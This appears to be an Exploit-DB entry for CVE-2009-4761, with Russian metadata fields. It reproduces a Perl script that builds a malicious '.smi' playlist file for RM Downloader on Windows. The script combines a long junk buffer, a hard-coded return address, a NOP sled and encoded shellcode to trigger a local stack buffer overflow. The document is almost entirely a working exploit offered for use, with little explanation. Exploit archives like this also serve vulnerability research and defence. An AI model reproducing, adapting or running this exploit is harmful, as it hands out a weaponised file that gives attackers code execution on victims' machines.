Exploit RM Downloader - '.smi' Universal Local Buffer Overflow

[Exploiter]

EDB-ID

8594

Проверка EDB

1. Пройдено

Автор

STACK

Тип уязвимости

LOCAL

Платформа

WINDOWS

CVE

cve-2009-4761

Дата публикации

2009-05-01

#!/usr/bin/perl
# RM Downloader (.smi File) Universal Overflow Exploit
use strict;
use warnings;
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4b".
"\x1d\xa3\xb6\x83\xeb\xfc\xe2\xf4\xb7\xf5\xe7\xb6\x4b\x1d\x28\xf3".
"\x77\x96\xdf\xb3\x33\x1c\x4c\x3d\x04\x05\x28\xe9\x6b\x1c\x48\xff".
"\xc0\x29\x28\xb7\xa5\x2c\x63\x2f\xe7\x99\x63\xc2\x4c\xdc\x69\xbb".
"\x4a\xdf\x48\x42\x70\x49\x87\xb2\x3e\xf8\x28\xe9\x6f\x1c\x48\xd0".
"\xc0\x11\xe8\x3d\x14\x01\xa2\x5d\xc0\x01\x28\xb7\xa0\x94\xff\x92".
"\x4f\xde\x92\x76\x2f\x96\xe3\x86\xce\xdd\xdb\xba\xc0\x5d\xaf\x3d".
"\x3b\x01\x0e\x3d\x23\x15\x48\xbf\xc0\x9d\x13\xb6\x4b\x1d\x28\xde".
"\x77\x42\x92\x40\x2b\x4b\x2a\x4e\xc8\xdd\xd8\xe6\x23\xed\x29\xb2".
"\x14\x75\x3b\x48\xc1\x13\xf4\x49\xac\x7e\xc2\xda\x28\x1d\xa3\xb6";
my $junk = "\x41" x 26076;
my $eip  = "\x17\x48\xF8\x01"; # Universall Ret Adress
my $nops = "\x90" x 24;
open(my $playlist, "> spl.smi");
print $playlist
                    $junk.$eip.$nops.$shellcode.$junk.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-01]